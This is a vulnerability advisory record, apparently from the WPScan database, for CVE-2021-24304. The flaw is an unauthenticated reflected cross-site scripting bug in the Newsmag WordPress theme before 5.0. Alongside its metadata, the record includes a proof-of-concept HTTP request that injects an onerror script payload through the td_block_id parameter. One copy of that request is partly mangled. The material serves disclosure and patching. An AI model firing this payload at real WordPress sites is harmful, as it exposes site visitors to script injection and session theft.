The Newsmag WordPress theme before 5.0 does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability.
{"wpvulndb": [{"lastseen": "2021-09-14T23:15:11", "description": "The theme does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability. Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)\n\n### PoC\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 136 Connection: close action=td_ajax_block&td;_block_id=\">&block;_type=td_block_related_posts&td;_magic_token=59c7ec0654\n", "cvss3": {}, "published": "2021-07-12T00:00:00", "type": "wpvulndb", "title": "Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24304"], "modified": "2021-07-12T10:29:13", "id": "WPVDB-ID:BB71F2F9-76BD-43F4-A8C9-35771DD28DFF", "href": "https://wpscan.com/vulnerability/bb71f2f9-76bd-43f4-a8c9-35771dd28dff", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "wpexploit": [{"lastseen": "2021-09-14T23:15:11", "description": "The theme does not sanitise the td_block_id parameter in its td_ajax_block AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS) vulnerability. Due to a nonce check, this issue is only exploitable on unauthenticated users (for as long as the nonce used in the request is valid)\n", "cvss3": {}, "published": "2021-07-12T00:00:00", "type": "wpexploit", "title": "Newsmag < 5.0 - Unauthenticated Reflected Cross-site Scripting (XSS)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-24304"], "modified": "2021-07-12T10:29:13", "id": "WPEX-ID:BB71F2F9-76BD-43F4-A8C9-35771DD28DFF", "href": "", "sourceData": "POST /wp-admin/admin-ajax.php HTTP/1.1\r\nAccept: application/json, text/javascript, */*; q=0.01\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nContent-Length: 136\r\nConnection: close\r\n\r\naction=td_ajax_block&td_block_id=\"><img+src+onerror=alert(document.domain)>&block_type=td_block_related_posts&td_magic_token=59c7ec0654", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}